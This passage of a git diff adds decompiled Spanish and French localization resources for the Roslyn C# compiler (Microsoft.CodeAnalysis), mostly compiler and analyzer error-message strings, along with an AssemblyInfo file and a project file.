PDB al emitir metadatos. + No se puede crear una referencia de metadatos en un ensamblado dinámico. + El id. de diagnóstico "{0}" suprimido no coincide con el id. "{1}" que se puede suprimir para el descriptor de supresión dado. + Los recursos de Win32, que se presupone que están en el formato de objeto COFF, tienen uno o varios valores de símbolo no válidos, + La secuencia debe admitir las operaciones de lectura y búsqueda. + enumeración + El diagnóstico notificado "{0}" tiene una ubicación de origen en el archivo "{1}", que no forma parte de la compilación que se está analizando. + Campo + El nombre no puede estar vacío. + Tiempo total de ejecución del generador: {0} segundos. + Los recursos de Win32, que se presupone que están en el formato de objeto COFF, carecen de una o las dos secciones '.rsrc$01' y '.rsrc$02' + Si se especifican nombres de elementos de tupla, el número de nombres de elementos debe coincidir con la cardinalidad de la tupla. + Editar y continuar no puede reanudar el iterador suspendido porque se ha eliminado la instrucción yield return correspondiente + Tipo de contenido no válido + {0}.GetMetadata() debe devolver una instancia de {1}. + El diagnóstico informado tiene un identificador '{0}', que no es válido. + No se puede crear una referencia de módulo en un ensamblado. + Si se especifican las anotaciones que aceptan valores NULL de los elementos de tupla, el número de anotaciones debe coincidir con la cardinalidad de la tupla. + El argumento contiene instancias de analizador duplicadas. + El nombre no puede empezar con un espacio en blanco. + Las matrices con más de una dimensión no se pueden serializar. + No se permite cambiar la versión de una referencia de ensamblado durante la depuración: "{0}" cambió la versión a "{1}". + El analizador no admite el diagnóstico notificado con identificador '{0}'. + Se debe especificar un nombre de lenguaje para esta opción. + Se esperaba un símbolo de método + Tipo de salida no admitida. + se espera un separador + Un nodo de la lista no es del tipo esperado. + HintName '{0}' contiene un segmento no válido '{1}' en la posición {2}. + {0} debe ser el "valor predeterminado" o tener la misma longitud que {1}. + El nombre no puede ser nulo. + Los cambios deben estar dentro de los límites de SourceText. + Algoritmo del hash no admitido. + El proveedor de secuencias de recursos debe devolver secuencias no nulas. + La identidad WindowsRuntime no puede ser redestinable + El argumento contiene una instancia de analizador que no pertenece a los 'Analizadores' de esta instancia de CompilationWithAnalyzers. + El destino no puede ser el módulo al emitir el ensamblado de referencia. + No se puede deserializar el tipo "{0}". + La secuencia debe ser legible. + interfaz + Los recursos de Win32, que se presupone que están en el formato de objeto COFF, tienen uno o varios valores de encabezado de reubicación no válidos. + El analizador "{0}" produjo una excepción de tipo "{1}" con el mensaje "{2}". +{3} + <ensamblado en memoria> + {0} y {1} deben tener la misma longitud. + El elemento hintName "{0}"del archivo de código fuente agregado debe ser único dentro de un generador. + El nombre del elemento de tupla no puede ser una cadena vacía. + Tipo de salida no válida para el envío. DynamicallyLinkedLibrary esperado. + Un elemento SuppressionDescriptor debe tener un id. que no sea NULL, una cadena vacía ni una cadena que solo contenga un espacio en blanco. + La secuencia se debe poder escribir. + Nombre de ensamblado no válido: '{0}' + Alias no válido. + constructor + No se encontraron analizadores + El ensamblado debe tener al menos un módulo. + Editar y continuar no puede reanudar el método asincrónico suspendido porque se ha eliminado la expresión await correspondiente. + El proveedor de datos de recursos debe devolver secuencias no nulas + No se puede suprimir el diagnóstico no notificado con el id. "{0}". + La secuencia de recursos finalizó en {0} bytes, cuando se esperaban {1} bytes. + La imagen PE no contiene metadatos administrados. + Nombre de archivo vacío o no válido + volver + El controlador del analizador produjo una excepción de tipo '{0}' con el mensaje '{1}'. +{2} + El tamaño de archivo supera el tamaño máximo permitido para archivos de metadatos válidos. + El intervalo no incluye el extremo de una línea. + El envío anterior tiene errores. + La compilación hace referencia a varios ensamblados cuyas versiones solo difieren en los números de compilación y/o versión generados automáticamente. + Supresión mediante programación de un diagnóstico del analizador + Ensamblado no encontrado + Clave pública no válida. + No se puede leer desde la secuencia. + La referencia del tipo '{0}' no es válida para esta compilación. + El número de línea solicitado {0} debe ser menor que el número de líneas {1}. + Un DiagnosticDescriptor debe tener un identificador que no sea nulo, que no sea una cadena vacía y que no sea una cadena que solo contenga espacio en blanco. + El supresor no admite la supresión notificada con el id. "{0}". + La operación proporcionada no debe ser parte de un gráfico de flujo de control. + Solo puede registrarse un único tipo de {0} por generador. + El tipo debe ser el mismo que el tipo de objeto host del envío anterior. + Si se especifican las ubicaciones de los elementos de tupla, el número de ubicaciones debe coincidir con la cardinalidad de la tupla. + Ensamblado actual: '{0}' + "{0}" no era un nombre de operador integrado válido + Operador integrado no admitido: {0} + Nombre de operador integrado no válido "{0}" + 'fin' no debe ser menor que 'inicio'. inicio='{0}' fin='{1}'. + No se puede crear una referencia a un módulo. + Error del analizador + Clave pública no vacía esperada + Se produjo un error al cargar el archivo de conjuntos de reglas incluido {0} - {1} + Caracteres no válidos en el nombre de ensamblado + NOTA: el tiempo transcurrido puede ser inferior al tiempo de ejecución del analizador, dado que los analizadores pueden ejecutarse simultáneamente. + El argumento no puede tener un elemento nulo. + El argumento no puede estar vacío. + ensamblado + parámetro de tipo + 'inicio' no puede ser negativo + El tamaño ha de ser positivo. + Un valor en pathMap es null. + \ No newline at end of file diff --git a/decompiled/Libraries/es.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.es.resx b/decompiled/Libraries/es.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.es.resx new file mode 100644 index 0000000..ff35b70 --- /dev/null +++ b/decompiled/Libraries/es.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.es.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089El límite inferior de la matriz de destino debe ser cero. + El tipo de matriz de destino no es compatible con el tipo de elementos de la colección. + La colección tiene un tamaño fijo. + Colección modificada; puede que no se ejecute la operación de enumeración. + El número es menor que el límite inferior de la matriz en la primera dimensión. + La matriz de destino no es lo suficientemente larga para copiar todos los elementos de la colección. Compruebe el índice y la longitud de la matriz. + No se pudieron comparar dos elementos en la matriz. + Ya se agregó un elemento con la misma clave. Clave: {0} + Las matrices especificadas deben tener las mismas dimensiones. + El desplazamiento y la longitud estaban fuera de los límites para esta matriz o el recuento es superior al número de elementos desde el índice al final de la colección de origen. + No se puede ordenar porque el método IComparer.Compare() devuelve resultados incoherentes. No se compara un valor igual a sí mismo, o bien un valor comparado repetidamente con otro proporciona resultados diferentes. IComparer: '{0}'. + El recuento debe ser positivo y debe hacer referencia a una ubicación en la cadena, matriz o colección. + El índice estaba fuera del intervalo. Debe ser un valor no negativo e inferior al tamaño de la colección. + El objeto no es una matriz con el mismo número de elementos que la matriz con la que se va a comparar. + capacidad menor que el tamaño actual. + Sólo se admiten matrices de una sola dimensión para la acción solicitada. + No se permite variar una colección de valores derivada de un diccionario. + Mayor que el tamaño de la colección. + El índice debe estar dentro de los límites de la lista. + Número no negativo requerido. + No se puede encontrar el valor antiguo + Las operaciones que cambian las colecciones no simultáneas deben tener acceso exclusivo. Se realizó una actualización simultánea en esta colección y se dañó su estado. El estado de la colección ya no es correcto. + La clave "{0}" especificada no estaba presente en el diccionario. + No se permite cambiar una colección de clave derivada de un diccionario. + La matriz de destino no tiene la longitud suficiente. Compruebe el índice de destino, la longitud y los límites inferiores de la matriz. + Se ha desbordado la capacidad de la tabla hash (actualmente es negativa). Compruebe el factor de carga, la capacidad y el tamaño actual de la tabla. + La matriz de origen no tiene la longitud suficiente. Compruebe el índice de origen, la longitud y los límites inferiores de la matriz. + El valor "{0}" no es del tipo "{1}" y no se puede utilizar en esta colección genérica. + La enumeración no ha empezado o ya ha finalizado. + \ No newline at end of file diff --git a/decompiled/Libraries/es.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/es.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/es.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/es.microsoft.codeanalysis.resources/costura.es.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/es.microsoft.codeanalysis.resources/costura.es.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/es.microsoft.codeanalysis.resources/costura.es.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.fr.resx b/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.fr.resx new file mode 100644 index 0000000..0d3c8c9 --- /dev/null +++ b/decompiled/Libraries/fr.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.fr.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089L'option /out doit être spécifiée pour les sorties dépourvues de source + Division par zéro constant + Les types et les alias ne doivent pas porter le nom 'record'. + '{0}' n'est pas un argument d'attribut nommé valide, car il n'est pas un type de paramètre d'attribut valide + Le code XML du commentaire XML est incorrect + La contrainte 'new()' ne peut pas être utilisée avec la contrainte 'unmanaged' + Certains types contenus dans l'assembly analyseur {0} ont été ignorés pour cause de ReflectionTypeLoadException : {1}. + Le champ est assigné, mais sa valeur n'est jamais utilisée + enregistrements + Une arborescence de l'expression ne peut pas contenir un opérateur d'assignation + Un ou plusieurs types requis pour compiler une expression dynamique sont introuvables. Une référence est-elle manquante ? + '{0}' est obsolète : '{1}' + L'attribut Conditional n'est pas valide sur '{0}', car il s'agit d'un constructeur, d'un destructeur, d'un opérateur lambda ou d'une implémentation d'interface explicite + Les membres du paramètre de constructeur principal '{0}' d’un type en lecture seule ne peuvent pas être retournés par une référence accessible en écriture + Les modèles de tranche ne peuvent être utilisés qu'une seule fois et directement à l'intérieur d'un modèle de liste. + Nom de module non valide : {0} + L'interface figure déjà dans la liste des interfaces avec différentes possibilités de valeur null des types référence. + '{0}' : les conversions définies par l'utilisateur vers ou à partir d'un type de base ne sont pas autorisées + '{0}' : impossible de référencer un type par l'intermédiaire d'une expression ; essayez plutôt '{1}' + Version du compilateur : '{0}'. Version du langage : {1}. + itérateurs + Option /win32manifest ignorée pour le module, car elle s'applique uniquement aux assemblys + La page de '{0}' n'est pas correcte ou n'est pas installée + Le membre obsolète '{0}' se substitue au membre non obsolète '{1}' + Guillemet fermant manquant pour le littéral de chaîne. + La valeur levée est peut-être null. + Utilisation de la propriété implémentée automatiquement «{0}» éventuellement non assignée. Envisagez de mettre à jour la version de langue «{1}» pour définir automatiquement la propriété par défaut. + '{0}' ne peut pas être null. + Déclarations using + Le runtime cible ne prend pas en charge l'implémentation d'interface par défaut. + Compilation annulée par l'utilisateur + Les références de métadonnées ne sont pas prises en charge. + Un corps de requête doit terminer par une clause select ou une clause group + L'expression donnée ne correspond jamais au modèle fourni. + Les accesseurs 'init' ne peuvent pas être marqués 'readonly'. Marquez '{0}' readonly à la place. + L’opérateur '&' ne doit pas être utilisé sur les paramètres ou les variables locales dans les méthodes asynchrones. + L'instruction switch contient plusieurs cas avec la valeur d'étiquette '{0}' + Identificateur attendu ; '{1}' est un mot clé + Valeur de '{0}' non valide : '{1}'. + Le paramètre de type '{0}' a le même nom que le paramètre de type de la méthode externe '{1}' + Une arborescence de l'expression ne peut pas contenir une opération pointeur unsafe + Un caractère non valide a été trouvé dans une référence d'entité. + Une arborescence d'expression lambda ne peut pas contenir une méthode avec des arguments de variables + Le commutateur de ligne de commande n’est pas encore implémenté + Le compilateur a étendu une variable et son signe de façon implicite, avant d'utiliser la valeur obtenue dans une opération OR au niveau du bit. Ceci peut entraîner un comportement inattendu. + L'opérateur * ou -> doit être appliqué à un pointeur + Nom non valide pour un symbole de prétraitement. '{0}' est un identificateur non valide + Impossible d'appliquer l'opérateur '{0}' aux opérandes de type '{1}' et '{2}' + entiers de taille native + Impossible d'indiquer que ce type est conforme CLS, car il est membre d'un type non conforme CLS + CallerMemberNameAttribute n'aura pas d'effet ; il est remplacé par CallerLineNumberAttribute + Impossible de retourner les membres de {0} '{1}' par référence accessible en écriture, car il s'agit d'une variable en lecture seule + Le InterpolatedStringHandlerArgumentAttribute appliqué au paramètre « {0} » est incorrect et ne peut pas être interprété. Construisez une instance de « {1} » manuellement. + La ligne donnée contient '{0}' caractères, ce qui est inférieur au nombre de caractères fourni '{1}'. + '{0}' ne peut pas déclarer un corps, car il est marqué comme abstract + Accessibilité incohérente : le type d'événement '{1}' est moins accessible que l'événement '{0}' + Le membre '{0}' se substitue au membre obsolète '{1}'. Ajoutez l'attribut Obsolete à '{0}'. + Code inaccessible détecté + Le type ou le membre n'a pas besoin d'un attribut CLSCompliant, car l'assembly n'a pas d'attribut CLSCompliant + Impossible d’utiliser le paramètre de constructeur principal '{0}' dans ce contexte. + Impossible de trouver une implémentation du modèle de requête pour le type source '{0}'. '{1}' introuvable. Spécifiez explicitement le type de la variable de portée '{2}'. + '{0}' n'est pas un numéro d'avertissement valide + Impossible d'utiliser le type '{3}' comme paramètre de type '{2}' dans le type ou la méthode générique '{0}'. Il n'y a pas de conversion de référence implicite de '{3}' en '{1}'. + La méthode, l'opérateur ou l'accesseur est marqué comme external et n'a pas d'attribut + La méthode du gestionnaire de chaînes interpolées « {0} » est incorrecte. Il ne retourne pas « void » ou « bool ». + Le modèle d'abandon n'est pas autorisé en tant qu'étiquette case dans une instruction switch. Utilisez 'case var _:' pour un modèle d'abandon, ou 'case @_:' pour une constante nommée '_'. + La convention d'appel de '{0}' n'est pas compatible avec '{1}'. + Impossible d'utiliser un type référence Nullable dans la création d'objet. + Le nom du destructeur doit correspondre au nom du type + Erreur de syntaxe de ligne de commande : '{0}' est une valeur non valide pour l'option '{1}'. La valeur doit se présenter sous la forme '{2}'. + « {0} » n’est pas une méthode d’instance, le récepteur ne peut pas être un argument de gestionnaire de chaîne interpolé. + Cette référence effectue une attribution par référence '{1}' à '{0}', mais '{1}' ne peut échapper à la méthode actuelle qu’à l’aide d’une instruction return. + Impossible de passer la variable de portée '{0}' en tant que paramètre out ou ref + Une boucle foreach doit déclarer ses variables d'itération. + paramètres de type sans contrainte dans un opérateur de fusion ayant une valeur null + L'attribut DllImport doit être spécifié sur une méthode marquée 'static' et 'extern' + méthode partielle + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + La fonctionnalité '{0}' n’est pas disponible en C# 11.0. Veuillez utiliser la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 9.0. Utilisez la version de langage {1} ou une version ultérieure. + Le champ '{0}' est assigné, mais sa valeur n'est jamais utilisée + Impossible de générer dans le corps d'une clause finally + <espace de noms> + L'opérateur 'await' peut seulement être utilisé dans une expression de requête dans la première expression de collection de la clause 'from' initiale ou dans l'expression de collection d'une clause 'join' + La valeur par défaut spécifiée pour le paramètre '{0}' n'aura aucun effet, car elle s'applique à un membre utilisé dans des contextes qui n'autorisent pas les arguments facultatifs + '{0}' : une déclaration d'interface explicite peut être déclarée uniquement dans une classe, un enregistrement, un struct ou une interface + Vous ne pouvez pas redéfinir l'alias extern global + La méthode 'Slice' du tableau inline ne sera pas utilisée pour l’expression d’accès à l’élément. + L'attribut CLSCompliant n'a pas de sens lorsqu'il est appliqué à des paramètres. Essayez de le placer dans la méthode à la place. + Cet avertissement survient lorsqu'un bloc catch() n'a pas de type d'exception spécifié après un bloc catch (System.Exception e). L'avertissement vous informe du fait que le bloc catch() n'interceptera aucune exception. + +Un bloc catch() après un bloc catch (System.Exception e) peut intercepter des exceptions non-CLS si le RuntimeCompatibilityAttribute est défini sur false dans le fichier AssemblyInfo.cs : [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Si cet attribut n'est pas défini sur false de façon explicite, toutes les exceptions non-CLS levées sont enveloppées en tant qu'exceptions et le bloc catch (System.Exception e) les intercepte. + Le CallerArgumentExpressionAttribute appliqué au paramètre n’aura aucun effet, car il est auto-référentiel. + Impossible de déclarer une variable out en tant que variable locale ref + Impossible d'attendre dans une clause catch + L’opérateur '{0}' nécessite également la définition d’une version correspondante non vérifiée de l’opérateur + espace de noms inclus dans l'étendue de fichier + Impossible de déconstruire des objets dynamiques. + Impossible d'utiliser une expression dans ce contexte, car elle ne peut pas être passée ou retournée par référence + Une option /reference qui déclare un alias extern ne peut avoir qu'un seul nom de fichier. Pour spécifier plusieurs alias ou noms de fichiers, utilisez plusieurs options /reference. + La conversion d'une expression stackalloc de type '{0}' en type '{1}' n'est pas possible. + Délimiteur de fin '}' manquant pour l'expression interpolée qui débute par '{'. + Vous devez spécifier l'attribut CLSCompliant sur l'assembly, non sur le module, pour activer la vérification de la conformité CLS + Le modificateur 'scoped' ne peut être utilisé que pour les valeurs refs et ref struct. + L'instruction foreach ne peut pas fonctionner sur des variables de type '{0}', car '{0}' ne contient pas de définition d'extension ou d'instance publique pour '{1}' + Erreur lors de la lecture du fichier ruleset {0} - {1} + N'appelez pas directement votre méthode Finalize du type de base. Elle est automatiquement appelée à partir de votre destructeur. + '{0}' : la valeur de l'énumérateur est trop grande pour ce type + Le fichier donné contient '{0}' lignes, ce qui est inférieur au numéro de ligne fourni '{1}'. + Nom de fichier spécifié non valide pour la directive de préprocesseur. Le nom de fichier est trop long ou n'est pas valide. + Le type ou le membre est obsolète + Impossible de convertir l'expression en '{0}' car elle ne peut pas être transmise ou renvoyée par référence + Impossible de déduire les arguments de type pour la méthode '{0}' à partir de l'utilisation. Essayez de spécifier les arguments de type de façon explicite. + Existence possible d'un argument de référence null. + &groupe de méthodes + Attribut file manquant + Attribut path manquant + Type non managé '{0}' non valide pour les champs. + Erreur lors de la signature de la sortie avec une clé publique du conteneur '{0}' -- {1} + L'opérateur '{0}' exige qu'un opérateur correspondant '{1}' soit aussi défini + Un initialiseur de champ ne peut pas faire référence au champ, à la méthode ou à la propriété non statique '{0}' + readonly a implémenté automatiquement les propriétés + L'espace de noms '{1}' contient déjà une définition pour '{0}' dans ce fichier. + Impossible d'utiliser les champs du champ readonly statique '{0}' en tant que valeur ref ou out (sauf dans un constructeur statique) + Effectue une attribution par référence de '{1}' vers '{0}', mais '{1}' a une portée de sortie plus limitée que '{0}'. + modificateurs d'accès sur des propriétés + Les types et alias ne peuvent pas être nommés 'scoped'. + Jeton '{0}' non valide dans la déclaration de membre de classe, d'enregistrement, de struct ou d'interface + Fichier de métadonnées '{0}' introuvable + L'appel au membre non readonly à partir d'un membre 'readonly' génère une copie implicite. + Un espace de noms de portée de fichier doit précéder tous les autres membres d’un fichier. + Dans la mesure où '{0}' n'a aucune taille prédéfinie, sizeof peut uniquement être utilisé dans un contexte non sécurisé + Chemin de recherche '{0}' non valide spécifié dans '{1}' -- '{2}' + Impossible de convertir {0} en type '{1}', car les types de paramètre ne correspondent pas aux types de paramètre délégués + Seuls les membres conformes CLS peuvent être abstraits + private protected + L'assembly et le module '{0}' ne peuvent pas cibler des processeurs différents. + Une arborescence de l'expression ne peut pas contenir d'expression de plage ('..'). + Le modificateur de genre de référence du paramètre '{0}' ne correspond pas au paramètre correspondant '{1}' dans la cible. + « {0} » n’est pas un type de gestionnaire de chaîne interpolé. + Le modificateur de genre de référence du paramètre '{0}' ne correspond pas au paramètre correspondant '{1}' dans le membre masqué. + La propriété implémentée automatiquement '{0}' est lue avant d’être explicitement affectée, ce qui provoque une attribution implicite précédente de 'default'. + Impossible d'attendre dans le corps d'une instruction lock + Impossible d'utiliser un champ readonly statique en tant que valeur ref ou out (sauf dans un constructeur statique) + Utilisation d’une propriété implémentée automatiquement éventuellement non attribuée. Envisagez de mettre à jour la version du langage pour qu’elle soit automatiquement définie par défaut sur la propriété. + L'attribut '{0}' n'est pas valide dans les accesseurs de propriété ou d'événement. Il n'est valide que dans les déclarations '{1}'. + Le modificateur 'scoped' du paramètre '{0}' ne correspond pas au '{1}' cible. + La chaîne de version spécifiée '{0}' contient des caractères génériques qui ne sont pas compatibles avec le déterminisme. Supprimez les caractères génériques de la chaîne de version ou désactivez le déterminisme pour cette compilation + Les possibilités de valeur null des types référence dans le spécificateur d'interface explicite ne correspondent pas à l'interface implémentée par le type. + L'utilisation de tableaux en tant qu'arguments d'attributs n'est pas conforme CLS + Alias extern non utilisé + Nombre non valide + paramètres d'abandon lambda + Un résultat d'une expression stackalloc de ce type dans ce contexte peut être exposé en dehors de la méthode conteneur + variance de type + répertoire inexistant + Pour que '{0}' soit applicable en tant qu'opérateur de court-circuit, son type déclarant '{1}' doit définir l'opérateur true et l'opérateur false + supprimable(s) + Un initialiseur de tableau imbriqué est attendu + Seuls les types classe peuvent contenir des destructeurs + En supposant que la référence d'assembly correspond à l'identité + La référence d'assembly '{0}' n'est pas valide et ne peut pas être résolue + type délégué déduit + Retourne un paramètre par référence par le biais d’un paramètre ref ; mais il peut uniquement être retourné en toute sécurité dans une instruction return + Il n'existe aucun type cible pour le littéral par défaut. + L'assignation de déconstruction nécessite une expression avec un type du côté droit. + Alignement de section de fichier non valide '{0}' + Les méthodes anonymes, les expressions lambda, les expressions de requête et les fonctions locales contenues dans les structs ne peuvent pas accéder aux membres d'instance de 'this'. Copiez 'this' dans une variable locale en dehors de la méthode anonyme, de l'expression lambda ou de l'expression de requête ou de la fonction locale, et utilisez la variable locale à la place. + Impossible d’assigner à un membre de {0} '{1}' ou de l’utiliser comme partie droite d’une affectation ref, car il s’agit d’une variable en lecture seule + La nullabilité des types référence dans le type de '{0}' ne correspond pas au membre implémenté implicitement '{1}'. + Le membre conditionnel '{0}' ne peut pas implémenter le membre d'interface '{1}' dans le type '{2}' + La nullabilité des types référence dans le type de retour de '{0}' ne correspond pas au membre implémenté implicitement '{1}'. + La classe static '{0}' ne peut pas dériver du type '{1}'. Les classes static doivent dériver d'un objet. + Impossible de retourner les champs du champ readonly statique '{0}' par référence accessible en écriture + Le type '{0}' est défini dans cet assembly, mais un redirecteur de type est spécifié pour ce type + Le modèle est inaccessible. Il a déjà été traité par un bras précédent de l'expression switch ou la mise en correspondance est impossible. + Une expression est trop longue ou complexe à compiler + Commentaire sur une seule ligne ou fin de ligne attendue après la directive #pragma + '{0}' : la propriété event doit avoir des accesseurs add et remove + Retourne un paramètre par référence '{0}' mais il est étendu à la méthode actuelle + { ou ; ou => attendu + L'assembly référencé cible un processeur différent + La classe wrapper de coclasse managée '{0}' pour l'interface '{1}' est introuvable (vous manque-t-il une référence d'assembly ?) + '{0}' n'implémente pas le modèle '{1}'. '{2}' est ambigu avec '{3}'. + Option non valide '{0}' pour /langversion. Utilisez '/langversion:?' pour lister les valeurs prises en charge. + Un nom qualifié d'alias n'est pas une expression. + Un identificateur était attendu. + Le type '{0}' n'est pas défini. + La valeur 'goto case' n'est pas implicitement convertible en type '{0}' + L'assignation dans une expression conditionnelle est toujours constante + Le membre conditionnel '{0}' ne peut pas avoir un paramètre out + Impossible d'attendre dans un contexte unsafe + L'instruction incorporée ne peut pas être une déclaration ni une instruction étiquetée + '{0}' doit autoriser la substitution, car l'enregistrement contenant n'est pas sealed. + Le type valeur Nullable peut avoir une valeur null. + fonctions locales statiques + Le constructeur est marqué comme external + L'opération peut déborder au moment de l'exécution (utilisez la syntaxe 'unchecked' pour passer outre). + initialiseur de collection + Le type prédéfini '{0}' n'est pas défini ou importé + propriétés automatiquement implémentées + réassignation de référence + Une expression de type '{0}' ne peut pas être prise en charge par un modèle de type '{1}'. Utilisez la version de langage '{2}' ou une version ultérieure pour faire correspondre un type ouvert à un modèle de constante. + L'appel dispatché dynamiquement à la méthode '{0}' peut échouer au moment de l'exécution, car une ou plusieurs surcharges applicables sont des méthodes conditionnelles. + Le type ou le membre est obsolète + Le constructeur '{0}' est marqué comme external + '{0}' : les classes static ne peuvent pas implémenter d'interfaces + La structure d'interopérabilité incorporée '{0}' ne peut contenir que des champs d'instance publics. + Dérivation de '{0}' impossible, car il s'agit d'un paramètre de type + Le type des variables locales déclaré dans une instruction fixed doit être un type pointeur + alias extern + Type de retour non valide dans l'attribut cref de commentaire XML + Le type « {0} » ne peut pas être utilisé dans ce contexte, car il ne peut pas être représenté dans les métadonnées. + La nullabilité des types référence dans le type de retour ne correspond pas au membre implémenté (probablement en raison des attributs de nullabilité). + L'attribut CLSCompliant n'a pas de sens lorsqu'il est appliqué à des paramètres + La nullabilité dans les contraintes pour le paramètre de type ne correspond pas aux contraintes pour le paramètre de type dans la méthode d'interface implémentée implicitement. + Le premier opérande d'un opérateur "as" ne peut pas être un littéral de tuple sans type naturel. + Genre d'instrumentation non valide : {0} + opérateurs définis par l’utilisateur vérifiés + Impossible de déclarer un espace de noms dans le code de script + Le type d'une variable publique, protégée ou protégée en interne doit être conforme CLS. + Les déclarations partielles de '{0}' ont des modificateurs d'accessibilité en conflit + Impossible d'utiliser le type '{3}' comme paramètre de type '{2}' dans le type ou la méthode générique '{0}'. Le type Nullable '{3}' ne satisfait pas la contrainte de '{1}'. + Un opérateur nameof ne peut pas être intercepté. + Possibilité d'une comparaison de références involontaire ; la partie droite a besoin d'un cast + Impossible d'écrire dans le fichier de sortie '{0}' -- '{1}' + Mot clé 'this' ou 'base' attendu + EnumeratorCancellationAttribute n'aura aucun effet. L'attribut s'applique uniquement à un paramètre de type CancellationToken dans une méthode d'itérateur asynchrone qui retourne IAsyncEnumerable + La nullabilité des types référence dans le type de retour de '{0}' ne correspond pas au membre implémenté implicitement '{1}' (probablement en raison des attributs de nullabilité). + Le résultat de l'expression est toujours le même, car une valeur de ce type n'est jamais égale à 'null' + accès à l’élément de pointeur + '{0}' ne remplace pas la propriété attendue de '{1}' . + Impossible d'utiliser 'yield' dans du code de script de niveau supérieur + Cette méthode async n'a pas d'opérateur 'await' et elle s'exécutera de façon synchrone + Un type prédéfini est défini dans plusieurs assemblys de l'alias global  + Le nom '_' fait référence au type '{0}', pas au modèle d'abandon. Utilisez '@_' pour le type, ou 'var _' pour abandonner. + Les enums, les classes et les structures ne peuvent pas être déclarés dans une interface contenant un paramètre de type 'in' ou 'out'. + '{0}' : un argument d'attribut ne peut pas utiliser de paramètres de type + Opérateur surchargeable attendu + Impossible d'assigner les champs du champ readonly statique '{0}' (sauf s'ils appartiennent à un constructeur statique ou un initialiseur de variable) + L'expression de filtre est une constante 'true' + Aucun fichier source spécifié. + '{0}' n'a pas la signature appropriée pour être un point d'entrée + Des clauses Catch ne peuvent pas suivre la clause catch générale d'une instruction try + La méthode partielle '{0}' doit avoir des modificateurs d'accessibilité, car elle a un modificateur 'virtual', 'override', 'sealed', 'new' ou 'extern'. + Les conversions de gestionnaires de chaînes interpolées qui font référence à l'instance en cours d'indexation ne peuvent pas être utilisées dans les initialiseurs de membres d'indexeur. + Argument manquant + Impossible de convertir une expression lambda en arborescence d'expression dont l'argument de type '{0}' n'est pas un type délégué + Cette référence effectue une valeur qui ne peut échapper à la méthode actuelle qu’à l’aide d’une instruction return. + de retour + L'opération en question n'est pas définie sur les pointeurs void + Le délégué '{0}' n'a pas de méthode invoke ou une méthode invoke avec un type de retour ou des types de paramètre non pris en charge. + Impossible de créer un type générique construit à partir d'un autre type générique construit. + Le champ '{0}' est lu avant d’être explicitement attribué, ce qui provoque une attribution implicite précédente de 'default'. + opérateur nameof + Impossible de prendre l'adresse, d'obtenir la taille ou de déclarer un pointeur vers un type managé ('{0}') + La fonctionnalité '{0}' ne fait pas partie de la spécification du langage C# ISO standardisée et peut ne pas être acceptée par d'autres compilateurs + L'attribut '{0}' spécifié dans un fichier source est en conflit avec l'option '{1}'. + Vous ne pouvez pas spécifier l'attribut CLSCompliant sur un module qui diffère de l'attribut CLSCompliant de l'assembly + opérateur shift souple + Le paramètre {0} ne doit pas être déclaré avec le mot clé '{1}' + '{0}' est attribué avec 'UnmanagedCallersOnly' et ne peut pas être converti en type délégué. Obtenez un pointeur de fonction vers cette méthode. + Impossible d'attendre dans le corps d'une clause finally + Une méthode interceptrice doit être une méthode membre ordinaire. + Le paramètre out '{0}' doit être assigné avant que le contrôle quitte la méthode actuelle + Les enregistrements peuvent uniquement hériter d'un objet ou d'un autre enregistrement + Type objet, chaîne ou classe attendu + Une arborescence de l'expression ne peut pas contenir d'expression with. + Les métadonnées netmodule liées doivent fournir une image PE complète : '{0}'. + Utilisation du paramètre out non assigné '{0}' + La définition d'un alias nommé 'global' n'est pas recommandée + « {0} » : un argument d'attribut ne peut pas utiliser de paramètres de type + Littéraux de chaîne UTF-8 + /platform:anycpu32bitpreferred ne peut être utilisé qu'avec /t:exe, /t:winexe et /t:appcontainerexe + La méthode '{0}' n'a pas d'annotation '[DoesNotReturn]' correspondant au membre implémenté ou substitué. + Un champ de référence ne peut être déclaré que dans une sructure de référence. + '{0}' : une classe 